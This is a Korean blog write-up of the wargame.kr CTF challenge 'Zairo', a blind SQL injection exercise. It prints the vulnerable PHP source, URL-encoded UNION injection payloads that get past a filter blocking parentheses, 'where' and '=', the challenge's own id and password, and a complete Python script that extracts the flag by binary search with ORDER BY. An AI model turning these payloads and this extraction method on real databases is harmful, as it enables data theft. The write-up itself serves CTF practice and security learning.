늘모자란, 개발 :: [wargame.kr] Challenge 28 - Zairo

늘모자란, 개발

이 문제는 이 문제에서 필터링이 강화된 문제로서 거의 유사하다. 다만, 괄호를 하나도 쓸 수 없다는 정말 빡센 제약이 존재한다.
여튼 풀이 방법은 거의 유사한줄 알았는데 이렇게 내 발목을 잡을줄이야... 

 <?php
    error_reporting(0);
    
    include("./config.php"); // hidden column name
    include("../lib.php"); // auth_code function

    mysql_connect("localhost","zairo","zairo_pz");
    mysql_select_db("zairo");

    /**********************************************************************************************************************/

    function rand_string()
    {
        $string = "1234567890abcdefghijklmnopqrstuvwxyz";
        return str_shuffle($string);
    }

    function reset_flag($count_column, $flag_column)
    {
        global $count;
        $flag = rand_string();
        $query = mysql_fetch_array(mysql_query("SELECT $count_column, $flag_column FROM findflag_2"));
        $count = $query[$count_column];
        if($query[$count_column] == 150)
        {
            if(mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
            {
                mysql_query("UPDATE findflag_2 SET $count_column=0;");
                echo "reset flag<hr>";
            }
            return $flag;
        }
        else
        {
            mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
        }
        return $query[$flag_column];
    }

    function get_pw($pw_column){
        $query = mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
        return $query[$pw_column];
    }

    /**********************************************************************************************************************/

    $tmp_flag = "";
    $tmp_pw = "";
    $id = $_GET['id'];
    $pw = $_GET['pw'];
    $flags = $_GET['flag'];
    $count = 0;
    if(isset($id))
    {
        if(preg_match("/information|schema|user|where|=/i", $id) || substr_count($id,"(") > 0) exit("no hack");
        if(preg_match("/information|schema|user|where|=/i", $pw) || substr_count($pw,"(") > 0) exit("no hack");
        $tmp_flag = reset_flag($count_column, $flag_column);
        $tmp_pw = get_pw($pw_column);
        $query = mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
        echo "<hr />NOW COUNT = {$count}<br />";
        if($query[$id_column])
        {
            if(isset($pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
            {
                echo "good job!!<br />FLAG : <b>".auth_code("zairo")."</b><hr>";
            }
            else
            {
                echo "Hello ".$query[$id_column]."<hr>";
            }
        }
    }else {
        highlight_file(__FILE__);
    }
?>



패스워드 컬럼을 알아보기 위해 다음과 같이 입력한다.

?id=%27%20union%20select%201%2C&pw=%2C3%2C4%2C5%23


패스워드 컬럼을 알아냈다.
이렇게 쿼리를 짜서 보내자.

?id=%27%20union%20select%201%2CxvvcPw4coaa1sslfe%2C3%2C4%2C5%20/%2A&pw=%2A/%20from%20findflag_2%20%23


패스워드도 알아냈다.

아이디를 알아내야하는데 이 문제에서는 where과 =를 사용할 수가 없다.
고로 1=1 union 이었던걸 다음과 같이 1 like 1 로 바꿔준다.

?id=' OR 1 like 1 union select 1%2C2%2C&pw=%2C4%2C5%23


이제 대 난관인 플래그만 남았다. (를 사용할 수 없으니 서브쿼리의 사용도 어려워보인다.

그래서 시도해본건 우선 order by를 이용해보기로 했다. 원래는 order by에서도 서브쿼리를 사용할 수 있지만 괄호를 사용할 수 없으니..
error base를 사용하는 글 같은데, 그냥 착안해서.. 이렇게 생각을 해봤다.

1열에 a가 있다면,
2열에 z를 넣으면 order by에 의해서 값이 변경해지지않을까? 해서 blind로 해볼수있지 않을까 생각을 해봤는데..
정상 아스키코드값이 아니면(a~Z, 특문등) 그냥 1열을 출력하는데 그 반대의 경우는 그냥 2열을 출력했다.

urllib.quote("*/ union SELECT 1,{},3,4,5 FROM findflag_2 order by 2 limit 1 #".format(hex(j)))


이런 느낌으로 해봤는데 사실, 150번만 하면 리셋이 되버리기 때문에 이게 가능한가 생각이 들었다..그러다가 order by로 값을 order by 해보았는데 신기하게도 계속 같은 값이 나왔다. 희한했다.


data = "?id="
data = data + urllib.quote("' union select 1,2,3,4,5 from findflag_2 /*")
data = data + "&pw="
data = data + urllib.quote("*/ union select true,true,'{}{}',4,5 order by 3 desc#".format('w',string[i]))

data = data + "&flag="
data = data + urllib.quote("")

req = urllib2.Request("http://wargame.kr:8080/zairo/" + data, '', headers)
response = urllib2.urlopen(req)

res = response.read()
print res


이런 느낌이다. for문을 이용해서 하나씩 빼다가, 다른값이 나오는 값 이전의 데이터를 넣고 하나씩 돌리다보면,
wkdlfhpw (이후는 전부 z)값을 얻을 수가 있다. 그런데.. order by 3컬럼은 비밀번호였다 ㅡㅡ 이미 알고있는 값... 어처구니 미싱...
왜 굳이 3으로 했냐 돌대가리야 하면서 4로 옮겨서 돌려보기 시작했다. 돌릴때마다 리셋이 되는걸 보니 맞다.

flag값은 36자리로 정확히 정해져있으므로 한번 나온 값은 다시 나오지 않는다. 그래서 대충 코드를 이렇게 짜봤는데, 한 10자리만 돌리면 이후부턴 제대로 값을 알아내질 못한다. 예를들어 이렇게 나온다.

kvj3yha675zxwutsrqponmligfedcb098421


한 열자리까지는 정상 범주로 가는것 같다가도 남은자리를 그냥 출력해버리고 마는것이다.... 잘되다가 막힌 느낌이었다. (사실, 이게 정답인지도 모르고 하지만서도..)
짧게는 5자리에서도 그러는데, 내 생각엔 다음으로 올 아스키코드보다 큰 수가 박히게 되면 다음값을 계산못하는게 아닌가.. 그런생각을 했다.
그래서 어떻게 했느냐? 그냥 될때까지 돌려보기로 했다 (--) 돌리는 와중에 str_shuffle에 취약점이 없나 살펴보는것도 잊지 않았지만 소득은 딱히...(str_shuffle은 게싱하기 쉬운 함수라고 한다. 그럼.. 얘를 돌파할 수 있는 코드를 짜야한다는건가?;;)

한참 고민을 하다보니 10자리에서 왜 출력이 안되는지 알 수 있었다. 임의로 코드를 짜봤는데 다음과 같다

import random

s = "0123456789abcdefghijklmnopqrstuvwxyz"
sqlstr = ''.join(random.sample(s,len(s)))
string = "0123456789abcdefghijklmnopqrstuvwxyz{"
count = 0

answ = ""

while(1):
    for i in range(0,len(string)):
        condition = "{}{}".format(answ,string[i])
        print answ, string
        if sqlstr < condition:
            answ = str(answ) + str(string[(i-1)])
            string = string.replace(str(string[(i-1)]),'')
            break
        count = count + 1
    if count >= 150:
        print "\nfailed"
        print "origin:" + sqlstr
        print "found :" + answ
        print "remain:" + str(len(string)-1)
        break
    else:
        print count
    if len(answ) == 36:
        print "\ncomplete"
        print "guessed:" + answ
        print "origin :" + sqlstr
        print "match  :" + str(answ == sqlstr)
        print "count:" + str(count)
        break


내가 돌린 방법과 임의 문자열을 한개씩 매칭할때, 150번으론 택도 없다는 결론에 도달할 수 있었다.
못해도 290회, 많게는 420회까지 횟수가 필요했다.

===========

2017.01.08
새해.. 나는 이 문제를 풀고말겠다는 일념을 다졌다. 왜냐면, 아이디어 하나가 스쳐갔기때문이다.
왜 단순히 range로 생각했을까? 뭔가를 찾으려면 바이너리 서치를 하면되는데..
다만 이 경우에는 완전히 match를 구분할 수 있는 방법이 없기때문에 넘겨 짚었던것 같다. 어쨌든, match 없이 string을 찾는 python code를 작성해봤다. (첨작성한것과 jake가 작성한거랑 다름)

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from random import sample
from copy import deepcopy

s = "0123456789abcdefghijklmnopqrstuvwxyz"
chars = list(s)[::-1]
secret = ''.join(sample(s, len(s)))
ans = ""
comp = 0

while True and len(chars):
  lo = 0
  hi = len(chars)
  guessed = []
  while lo <= hi:
    mid = (lo + hi) // 2
    char = chars[mid]
    if char in guessed:
      ans += char
      chars.remove(char)
      break
    charless = deepcopy(chars)
    charless.remove(char)
    guess = "{0}{1}{2}".format(ans, char, ''.join(charless))
    guessed.append(char)
    if lo == hi:
      ans += char
      chars.remove(char)
    elif secret > guess:
      hi = mid
    else:
      lo = mid
    comp += 1
    print "{0}\t{1}\t{2}\t{3}\t{4}\t{5}".format(secret, guess, hi, lo, mid, comp)


잘나온다. 심지어 150번안에 수행완료..
물론, 위코드처럼 돌리면 횟수가 딸리는데, 어쨌든 바이너리서치형태로 만들어서 시도하면 문제 정복에 성공할 수 있다.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import re, sys, time, urllib, urllib2

headers = {'Host': 'wargame.kr:8080'}
s = "0123456789abcdefghijklmnopqrstuvwxyz"
chars = list(s)[::-1]
ans = ""

while True and len(chars):
    lo = 0
    hi = len(chars)
    guessed = []
    while lo <= hi:
        time.sleep(0.01)
        mid = (lo + hi) // 2
        char = chars[mid]
        if char in guessed:
            ans += char
            chars.remove(char)
            break
        charless = list(chars)
        charless.remove(char)
        guess = "{0}{1}{2}".format(ans, char, ''.join(charless))
        guessed.append(char)
        
        id = urllib.quote("'UNION SELECT * FROM findflag_2/*")
        pw = urllib.quote("*/UNION SELECT 1,2,3,\"{}\",5 ORDER BY 4 ASC#".format(guess))
        data = "?id={0}&pw={1}&flag=".format(id, pw)
        
        req = urllib2.Request("http://wargame.kr:8080/zairo/" + data, '', headers)
        response = urllib2.urlopen(req)
        res = response.read()
        count = re.findall(r"NOW COUNT = (\d+)", res)[0]
        
        if "reset" in res:
            sys.exit("[!] FAILED: FLAG RESET")
        
        if "zairowkdlfhdkel" in res:
            lo = mid
        else:
            hi = mid
        
        print "{0}\t{1}\t{2}\t{3}\t{4}".format(guess, hi, lo, mid, count)
    pass
req = urllib2.Request("http://wargame.kr:8080/zairo/?id=zairowkdlfhdkel&pw=wkdlfhpw!!@%%%23@@%23&flag={0}".format(guess), '', headers)
response = urllib2.urlopen(req).read()
flag = re.findall(r"FLAG : <b>([0-9a-f]+)</b>", response)
print "[*] OUR GUESS: {0}".format(guess)
print "[!] SUCCESS! FLAG: {0}".format(flag[0])


개인시간도 부족하고 헤매서 오래 걸렸는데 괜히 감회가 새로운 느낌이다. 888점 획득!

2016/06/22 03:27 2016/06/22 03:27